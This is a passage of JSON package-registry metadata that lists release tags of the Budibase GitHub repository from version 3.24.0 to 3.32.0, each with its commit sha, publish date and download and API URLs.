:"2026-03-06T09:10:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.32.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.32.0/manifests"},{"name":"3.31.9","sha":"35317690692a429b6f58b0d4a676ca0ec5dbf04e","kind":"commit","published_at":"2026-03-05T15:12:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.9/manifests"},{"name":"3.31.8","sha":"1cc1c5198d271a23cc4104892c25d9458a8679b1","kind":"commit","published_at":"2026-03-05T13:34:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.8/manifests"},{"name":"3.31.7","sha":"84932e920d3b3784f8fc1711f61e58297600e4c4","kind":"commit","published_at":"2026-03-05T12:02:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.7/manifests"},{"name":"3.31.6","sha":"e66d701be0187bb52e723129fc4f7d832df276ee","kind":"commit","published_at":"2026-03-05T10:04:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.6/manifests"},{"name":"3.31.5","sha":"1193d44ee9a64d2e9d7bf76ec82e39b59bc4864e","kind":"commit","published_at":"2026-03-03T14:22:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.5/manifests"},{"name":"3.31.4","sha":"d6f1d2f4d79b8042f90c1e3ede369b18cd2f3c21","kind":"commit","published_at":"2026-02-27T16:54:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.4/manifests"},{"name":"3.31.3","sha":"34441a81a0749150fb64418d5f8e92261b8bbde2","kind":"commit","published_at":"2026-02-27T13:52:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.3/manifests"},{"name":"3.31.2","sha":"ba0260958a3490eb802e9a297025b715c0b0f9c4","kind":"commit","published_at":"2026-02-26T14:51:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.2/manifests"},{"name":"3.31.1","sha":"420c59e2959886215d490191c7ffd756001f3e44","kind":"commit","published_at":"2026-02-26T10:12:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.1/manifests"},{"name":"3.31.0","sha":"2ea8e24d3bd4c9987a142dfe715fe927f587f4df","kind":"commit","published_at":"2026-02-25T12:22:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.31.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.31.0/manifests"},{"name":"3.30.6","sha":"f1b9e2fbd8047c6dd292693a5419e6998338f410","kind":"commit","published_at":"2026-02-24T10:36:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.6/manifests"},{"name":"3.30.5","sha":"9f3ebcbdd7028b8a4482158cc8a6bdcc065e381a","kind":"commit","published_at":"2026-02-21T19:19:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.5/manifests"},{"name":"3.30.4","sha":"651de7eb150d3bce6d19a1f920acb6a5e4cdfbde","kind":"commit","published_at":"2026-02-21T18:35:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.4/manifests"},{"name":"3.30.3","sha":"668435f9e278f402a78e0536b7e9d1b7264e997c","kind":"commit","published_at":"2026-02-20T15:50:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.3/manifests"},{"name":"3.30.2","sha":"1785a7ea31ee37f507031e1c8b9032ce3dd23a02","kind":"commit","published_at":"2026-02-20T11:34:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.2/manifests"},{"name":"3.30.1","sha":"733e53c021c4a91855ee365726481a24a60d61fe","kind":"commit","published_at":"2026-02-19T09:31:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.1/manifests"},{"name":"3.30.0","sha":"f27088f5083daac5e01bd69b07c4b639906d262f","kind":"commit","published_at":"2026-02-18T12:01:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.30.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.30.0/manifests"},{"name":"3.29.0","sha":"2246983c8395b3a20c966b077339357fc3cde5c3","kind":"commit","published_at":"2026-02-17T18:52:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.29.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.29.0/manifests"},{"name":"3.28.3","sha":"ed5eddfc59f03c501f1790a3f08d8bc39d63e426","kind":"commit","published_at":"2026-02-16T10:16:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.28.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.28.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.28.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.3/manifests"},{"name":"3.28.2","sha":"7886821761f10b10c385003eec23dcef923b1a72","kind":"commit","published_at":"2026-02-12T11:39:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.28.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.28.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.28.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.2/manifests"},{"name":"3.28.1","sha":"12d59b3ad4284dd85742af4d0dc83efb0f567030","kind":"commit","published_at":"2026-02-11T12:18:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.28.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.1/manifests"},{"name":"3.28.0","sha":"96d9a440c719fa69a2d365bee42cf958fd639b0d","kind":"commit","published_at":"2026-02-10T17:10:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.28.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.28.0/manifests"},{"name":"3.27.5","sha":"b1994e6731d2008e96808c6d7050eca6c1b28716","kind":"commit","published_at":"2026-02-10T09:58:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.5/manifests"},{"name":"3.27.4","sha":"da3a0f604ddb1023e72b2f40e1e417d6896ed537","kind":"commit","published_at":"2026-02-06T10:20:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.4/manifests"},{"name":"3.27.3","sha":"cdc313ad750d363c126aae5025fe88eb6b098bee","kind":"commit","published_at":"2026-02-03T13:26:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.3/manifests"},{"name":"3.27.2","sha":"d76a06b5fb1bb5e1477afe9991d19447d74cc515","kind":"commit","published_at":"2026-01-30T18:34:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.2/manifests"},{"name":"3.27.1","sha":"7bf39d274fb863b40944192f8989b6e018e56ddc","kind":"commit","published_at":"2026-01-30T16:20:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.1/manifests"},{"name":"3.27.0","sha":"02f013db304398b73f3f8209ce41719130b0ae42","kind":"commit","published_at":"2026-01-30T10:00:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.27.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.27.0/manifests"},{"name":"3.26.3","sha":"c5c46d3562dfe6d5e368e36ee016114c563c6bcc","kind":"commit","published_at":"2026-01-29T15:23:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.26.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.26.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.26.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.3/manifests"},{"name":"3.26.2","sha":"f58689dfa95651a81601b9b5f04ca3370f10d3f1","kind":"commit","published_at":"2026-01-29T08:25:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.26.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.26.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.26.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.2/manifests"},{"name":"3.26.1","sha":"7dc9eac59659ae9ff820dc3caee5c5e623ae41e3","kind":"commit","published_at":"2026-01-28T11:59:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.26.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.1/manifests"},{"name":"3.26.0","sha":"fb4fa290afccb6e780939ae5b2c1bced89df8a7f","kind":"commit","published_at":"2026-01-28T10:24:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.26.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.26.0/manifests"},{"name":"3.25.4","sha":"db32413e21c6611d88ac8218c8d198deeb9c9ec4","kind":"commit","published_at":"2026-01-23T14:30:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.25.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.25.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.25.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.4/manifests"},{"name":"3.25.3","sha":"f98fbcaa1f6c5a8cc5e7973ab113727c679e6583","kind":"commit","published_at":"2026-01-23T10:38:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.25.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.25.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.25.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.3/manifests"},{"name":"3.25.2","sha":"ffed1ad77bddf68df191fdb8638dfd2423c93407","kind":"commit","published_at":"2026-01-22T19:12:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.25.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.25.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.2/manifests"},{"name":"3.25.1","sha":"e1ac414c83022df2870c20dd36951c781530f132","kind":"commit","published_at":"2026-01-22T13:58:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.25.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.25.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.1/manifests"},{"name":"3.25.0","sha":"d3e1fff48a1c21ba10929e4e93fbf99e0d4024aa","kind":"commit","published_at":"2026-01-22T12:01:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.25.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.25.0/manifests"},{"name":"3.24.8","sha":"3c375065a83a46d5f9c623baae4a3e7d4bd83593","kind":"commit","published_at":"2026-01-22T09:30:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.8/manifests"},{"name":"3.24.7","sha":"124b901bd308c72c109267e751c4c2df40db5c74","kind":"commit","published_at":"2026-01-21T17:49:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.7/manifests"},{"name":"3.24.6","sha":"9c5ba1f116c4554bb0ebd4731edbc3e12e2200ac","kind":"commit","published_at":"2026-01-21T09:15:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.6/manifests"},{"name":"3.24.5","sha":"ef725f5e224ac7a5103501721075dc0d080a23f5","kind":"commit","published_at":"2026-01-20T08:11:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.5/manifests"},{"name":"csp-3.23.35","sha":"5c26f642575249092c6d6d39108f373b75ba05cb","kind":"tag","published_at":"2026-01-16T13:24:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/csp-3.23.35","html_url":"https://github.com/Budibase/budibase/releases/tag/csp-3.23.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@csp-3.23.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/csp-3.23.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/csp-3.23.35/manifests"},{"name":"3.24.4","sha":"0bed60ace994d13863dbbb9fe8552d1466210750","kind":"commit","published_at":"2026-01-16T08:51:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.4/manifests"},{"name":"3.24.3","sha":"b29eec447b9ea2987553ae6e8684b0a88eb3cb37","kind":"commit","published_at":"2026-01-15T09:45:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.3/manifests"},{"name":"3.24.2","sha":"7efc3d673660a8cb927f11427e27e71fe7e82149","kind":"commit","published_at":"2026-01-14T09:42:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.2/manifests"},{"name":"3.24.1","sha":"933bdc102b08931e693fd4cae711f52b82c4039d","kind":"commit","published_at":"2026-01-13T11:33:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.24.1/manifests"},{"name":"3.24.0","sha":"a00f2b9467b083cc6b0fa2e482695fce982e519c","kind":"commit","published_at":"2026-01-09T10:30:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.24.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHu